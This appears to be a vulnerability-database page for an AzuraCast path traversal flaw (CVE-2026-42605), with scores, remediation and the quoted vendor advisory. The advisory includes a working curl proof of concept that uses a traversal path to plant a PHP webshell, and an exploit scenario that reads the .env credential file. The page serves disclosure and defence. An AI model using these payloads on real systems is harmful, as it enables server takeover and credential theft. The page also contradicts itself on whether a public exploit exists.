What is the CVSS score of CVE-2026-42605?

CVE-2026-42605 has a CVSS 3.1 base score of 8.8 (High). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. EPSS exploitation probability: 0.2%.

How to fix or mitigate CVE-2026-42605?

Within 24 hours: Identify all AzuraCast instances and document current versions by reviewing deployment records and admin dashboards. Within 7 days: Upgrade all instances running version 0.23.5 or earlier to version 0.23.6 or later; if S3/cloud backends are confirmed as the exclusive storage backend, risk is mitigated but patching remains required. Within 30 days: Audit media management role assignments to identify which users have upload permissions, review upload logs for suspicious activity patterns, and implement file integrity monitoring on web-accessible storage directories.

AzuraCast CVE-2026-42605

HIGH

Path Traversal (CWE-22)

2026-05-04 https://github.com/AzuraCast/AzuraCast

GHSA-vp2f-cqqp-478j

PHP Privilege Escalation RCE Path Traversal

8.8

CVSS 3.1 · Vendor: https://github.com/AzuraCast/AzuraCast

View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

Recon

Authenticate with DJ credentials
Delivery

Craft Flow.js upload with traversal path
Exploit

POST malicious PHP file to `/api/station/1/files/upload`
Install

Bypass MIME validation via finally block
C2

Write webshell to web root
Execute

Execute arbitrary commands via HTTP GET
Impact

Exfiltrate credentials and escalate privileges

Vulnerability Assessment

Weakness	CWE CWE-22 OWASP Top 10:2025 A01:2025 - Broken Access Control ASVS 5.0 V5 - File Handling Path canonicalization, traversal prevention MITRE ATT&CK 2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. Sign in to read
Exploitation Conditions	Requires authenticated access with Station Permissions 'Media' role (granted to DJ or Station Manager users, not only system administrators). Exploitation depends on local filesystem storage backend being active-confirmed as the default configuration per vendor advisory. Remote storage backends (S3, DigitalOcean Spaces) use `writeStream()` code path with path normalization, making them immune. Target must be AzuraCast version ≤0.23.5 with the vulnerable Flow.js upload endpoint enabled at `POST /api/station/{station_id}/files/upload`. The advisory explicitly states 'did not allow anonymous users to upload media at any point'-authentication is mandatory. No special PHP configuration, disabled functions, or non-default settings required for exploitation. The vulnerability is exploitable against default Docker installations using volume-mounted local storage. Network access to the web interface is required (AV:N in CVSS vector). No user interaction needed once attacker has valid credentials (UI:N). Limiting factors: (1) Must have valid credentials with media management permissions-not remotely exploitable by unauthenticated attackers. (2) Does not affect remote storage deployments, limiting attack surface to cost-sensitive installations using local storage. (3) Webshell execution depends on PHP being enabled in the web root, which is standard for AzuraCast but could be restricted by non-default web server configurations.
Impact	CVSS 8.8 (High) with network vector (AV:N), low complexity (AC:L), low privileges required (PR:L), and high impact across confidentiality, integrity, and availability. However, real-world risk is significantly elevated beyond the numeric score. The PR:L requirement maps to 'DJ' or 'Station Manager' roles-common in multi-tenant radio platforms where station operators need media upload capabilities. This transforms the vulnerability from admin-only to a realistic privilege escalation vector in production deployments. Attack complexity is genuinely low: the GitHub advisory includes a working curl-based PoC demonstrating webshell upload in two HTTP requests. No specialized tools or race conditions required. The 'local filesystem only' constraint is critical context-per the advisory, local storage is the default configuration, meaning unpatched installations are vulnerable out-of-box unless explicitly configured for cloud storage. EPSS data not provided, but the combination of default-vulnerable configuration, detailed public PoC, and authenticated requirement suggests moderate exploitation probability. No CISA KEV status indicates targeted rather than widespread exploitation. SSVC assessment: exploitation=PoC (public proof-of-concept), automatable=yes (simple HTTP requests, no human interaction needed post-authentication), technical_impact=total (RCE enables full system compromise). Prioritization verdict: HIGH-patch immediately for internet-facing instances with multiple station managers; MEDIUM for single-admin deployments or those confirmed using S3 storage. The scope is contained (S:U) meaning compromise stays within the application context initially, but PHP webshell execution as the application user typically leads to full server control through database credential theft or container escape.
Exploit ScenarioDerived	An attacker with DJ credentials (lowest privilege level with media upload access) authenticates to an AzuraCast station using local filesystem storage. They craft a Flow.js upload request with `currentDirectory=../../../../../var/azuracast/www/public` and `flowFilename=shell.php`, containing a minimal PHP webshell (`<?php system($_GET['cmd']); ?>`). The server concatenates the unsanitized directory traversal path with the sanitized filename, and the `finally` block writes the file to the web root before MIME validation rejects it. The attacker then accesses `http://target/shell.php?cmd=cat%20/var/azuracast/.env` to exfiltrate database credentials and API keys, escalating to full database access and administrative control. Per the GitHub advisory PoC, this requires two HTTP requests and completes in under 10 seconds.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).

Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 04, 2026

Path traversal in AzuraCast's Flow.js media upload endpoint allows authenticated users with media management permissions to write arbitrary PHP files outside designated storage directories, achieving remote code execution. The vulnerability exists in versions ≤0.23.5 where the unsanitized currentDirectory parameter bypasses filename sanitization, and a finally block writes uploaded files before MIME validation completes. Only local filesystem storage (default configuration) is affected-remote S3/cloud backends are not vulnerable. Vendor-confirmed patch available in version 0.23.6. No public exploit or CISA KEV listing identified at time of analysis, but detailed proof-of-concept exists in GitHub advisory GHSA-vp2f-cqqp-478j demonstrating webshell upload to web root.

RemediationAI

Upgrade to AzuraCast version 0.23.6 or later. The vendor-released patch (commit 18c793b4427eb49e67a2fea99a89f1c9d9dd808d) applies WhitespacePathNormalizer::normalizePath() to both currentDirectory and flowIdentifier parameters before path concatenation, and refactors LocalFilesystem::upload() to normalize paths before filesystem operations, causing the normalizer to throw PathTraversalDetected exceptions on traversal attempts. For organizations unable to patch immediately, implement these compensating controls: (1) Restrict media management permissions to only fully trusted administrators-review and revoke DJ/Station Manager roles on multi-tenant instances (trade-off: breaks delegated station management workflows). (2) Switch to S3-compatible remote storage which uses the protected code path-requires object storage infrastructure and migration effort but eliminates local filesystem traversal entirely (see vendor docs at github.com/AzuraCast/AzuraCast for storage configuration). (3) Deploy web application firewall rules to block requests containing ../ sequences in currentDirectory parameter-brittle defense as encoding variations may bypass, and breaks legitimate nested folder operations if any exist. (4) Run AzuraCast in a hardened container with read-only web root filesystem and separate writable volume for media only-prevents webshell execution even if written, but requires container reconfiguration and may break application updates. Vendor advisory available at https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-vp2f-cqqp-478j. Patch commit at https://github.com/AzuraCast/AzuraCast/commit/18c793b4427eb49e67a2fea99a89f1c9d9dd808d.

Affected Packages

composer azuracast/azuracast fix: 0.23.6

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

AzuraCast is a self-hosted web radio station management platform built in PHP. The vulnerability affects Flow.js chunked upload handling in FlowUploadAction.php. The root cause is CWE-22 (Path Traversal) due to insufficient input validation. While the filename component undergoes sanitization via UploadedFile::filterClientPath() to strip traversal sequences, the currentDirectory parameter is concatenated after sanitization, reintroducing path traversal capability. The critical design flaw occurs in MediaProcessor.php where a finally block calls LocalFilesystem::upload() unconditionally-even when MIME validation throws CannotProcessMediaException. The local storage adapter's upload() method uses simple string concatenation (PathPrefixer::prefixPath()) without normalization, bypassing the WhitespacePathNormalizer that protects standard Flysystem write operations. The underlying copy() syscall resolves ../ sequences at the OS level, enabling writes outside the media root. The CPE pkg:composer/azuracast_azuracast indicates this is a Composer package vulnerability affecting PHP-based installations. Remote storage backends (S3, etc.) use writeStream() which routes through the normalizer, making them immune to this specific attack vector.

Know when PHP gets its next vulnerability

Watch products and get an email when something new is published
Check this CVE against your own stack and servers
Exploit and PoC references, threat intelligence from 22 sources

Continue with Google Continue with GitHub

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/AzuraCast/AzuraCast) PRIMARY 8.8 HIGH

AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Primary rating from Vendor (https://github.com/AzuraCast/AzuraCast) · only source for this CVE.

CVSS VectorVendor: https://github.com/AzuraCast/AzuraCast

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

High

Availability

High

DescriptionCVE.org

Summary

The currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{station_id}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root.

Details

In backend/src/Controller/Api/Stations/Files/FlowUploadAction.php, the currentDirectory parameter is read directly from user input at line 79 and prepended to the sanitized filename at line 83:

php

// FlowUploadAction.php:79-84
$currentDir = Types::string($request->getParam('currentDirectory'));

$destPath = $flowResponse->getClientFullPath();
if (!empty($currentDir)) {
    $destPath = $currentDir . '/' . $destPath;
}

While $flowResponse->getClientFullPath() is sanitized via UploadedFile::filterClientPath() (which strips .. segments), the $currentDir value is prepended after this sanitization, reintroducing traversal capability.

This $destPath is passed to MediaProcessor::processAndUpload() at line 95-98. The critical issue is in the finally block at backend/src/Media/MediaProcessor.php:114-117:

php

// MediaProcessor.php:75-117
try {
    if (MimeType::isFileProcessable($localPath)) {
        // ... process media ...
        return $record;
    }
    // ...
    throw CannotProcessMediaException::forPath($path, 'File type cannot be processed.');
} catch (CannotProcessMediaException $e) {
    $this->unprocessableMediaRepo->setForPath($storageLocation, $path, $e->getMessage());
    throw $e;
} finally {
    $fs->uploadAndDeleteOriginal($localPath, $path);  // ALWAYS executes
}

The finally block writes the file to the traversed path regardless of whether the file passes MIME type validation. A .php file triggers CannotProcessMediaException, but the finally block still copies it to the destination before the exception propagates.

For local storage (the default), LocalFilesystem::upload() at backend/src/Flysystem/LocalFilesystem.php:45-57 resolves the path via getLocalPath():

php

// LocalFilesystem.php:45-57
public function upload(string $localPath, string $to): void
{
    $destPath = $this->getLocalPath($to);  // PathPrefixer::prefixPath() - simple concatenation
    $this->ensureDirectoryExists(dirname($destPath), ...);
    copy($localPath, $destPath);  // OS resolves ../
}

getLocalPath() delegates to PathPrefixer::prefixPath() (League Flysystem), which performs simple string concatenation without normalization. This bypasses the WhitespacePathNormalizer that would catch traversal if the path went through the standard Filesystem::write()/writeStream() methods. The OS-level copy() then resolves ../ sequences, writing outside the media root.

Note: RemoteFilesystem::upload() uses $this->writeStream() which DOES go through the normalizer, so S3/remote backends are not affected. Only local storage (the default configuration) is vulnerable.

The route at backend/config/routes/api_station.php:399-405 requires StationPermissions::Media - a permission granted to DJs and station managers, not only admins.

PoC

Assuming AzuraCast is running locally with a station (ID 1) using local filesystem storage and the attacker has a valid API key with Media permissions:

Step 1: Upload a PHP webshell via path traversal

bash

curl -X POST "http://localhost/api/station/1/files/upload" \
  -H "Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>" \
  -F "flowTotalChunks=1" \
  -F "flowChunkNumber=1" \
  -F "flowCurrentChunkSize=44" \
  -F "flowTotalSize=44" \
  -F "flowIdentifier=abc123" \
  -F "flowFilename=shell.php" \
  -F "currentDirectory=../../../../../var/azuracast/www/public" \
  -F "file_data=@shell.php"

Where shell.php contains:

php

<?php system($_GET['cmd']); ?>

Expected response: An error JSON (because .php is not a processable media type), but the file has already been written by the finally block.

Step 2: Execute commands via the webshell

bash

curl "http://localhost/shell.php?cmd=id"

Expected output:

uid=1000(azuracast) gid=1000(azuracast) groups=1000(azuracast)

Impact

Remote Code Execution: An authenticated user with DJ or station manager privileges can write arbitrary PHP files to the web root and execute arbitrary system commands as the AzuraCast application user.
Full Server Compromise: The attacker can read configuration files (database credentials, API keys), access all station data, modify application code, and potentially escalate to root depending on system configuration.
Privilege Escalation: A DJ-level user (lowest privileged role with media access) can achieve the equivalent of full system administrator access.
Data Exfiltration: All station data, user credentials, and application secrets become accessible.

Recommended Fix

Sanitize currentDirectory in FlowUploadAction.php using the same filterClientPath() method used for filenames:

php

// FlowUploadAction.php - replace line 79:
$currentDir = Types::string($request->getParam('currentDirectory'));

// With:
$currentDir = UploadedFile::filterClientPath(
    Types::string($request->getParam('currentDirectory'))
);

Additionally, harden LocalFilesystem::upload() to normalize paths before use:

php

// LocalFilesystem.php - add path normalization in upload():
public function upload(string $localPath, string $to): void
{
    $normalizer = new WhitespacePathNormalizer();
    $to = $normalizer->normalizePath($to);  // Throws PathTraversalDetected on ../

    $destPath = $this->getLocalPath($to);
    $this->ensureDirectoryExists(
        dirname($destPath),
        $this->visibilityConverter->defaultForDirectories()
    );

    if (!@copy($localPath, $destPath)) {
        throw UnableToCopyFile::fromLocationTo($localPath, $destPath);
    }
}

Also sanitize flowIdentifier in Flow.php:67 to prevent secondary traversal in chunk directory creation.

Executive ViewAI

Why It Matters

AzuraCast versions 0.23.5 and earlier contain a path traversal vulnerability in the media upload endpoint that allows authenticated users with media management permissions to upload arbitrary PHP files and achieve remote code execution on systems using local filesystem storage. Organizations running vulnerable versions should prioritize immediate patching, as the attack requires only legitimate user credentials and the detailed proof-of-concept publicly demonstrates webshell deployment to web-accessible directories.

Business Impact: High

Compensating Controls

If immediate patching is not feasible: (1) Restrict media management role assignment to trusted users only and audit current assignments; (2) Configure AzuraCast to use S3 or cloud-based storage backends exclusively, which are not vulnerable to this path traversal; (3) Implement web server rules to block .php file execution within media upload directories; (4) Deploy file integrity monitoring and anomalous file creation alerts targeting web root and storage directories; (5) Disable media upload functionality if not actively required. Apply vendor patch version 0.23.6 as primary remediation.

Threat Intelligence Overview

EPSS Score

0.2%

Top 54% exploitable

Threat Intel

1 source

Data Quality

4 sources

Confidence: Medium

NVD

CVE.org

EPSS GHSA

GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue

Severity HIGH

CISA KEV No

Public POC No

EPSS 0.2%

Patch available Yes

Active threat No

Deciding rule

HIGH severity (CVSS 7.0-8.9)

What every action level means

Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.

Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.

This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.

This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.

Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived

Scheduled

Exploitation· derived

None

System Exposure· derived

Open

Automatable· derived

Human Impact

High

Priority Score

Low Medium High Critical

KEV: 0

EPSS: 0

CVSS: +44

PoC: 0

Weaponized: 0

Threat intel: 0

Gov advisory: 0

Attack Technique

Privilege Escalation HIGH

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

Path Traversal HIGH

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Remote Code Execution CRITICAL

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.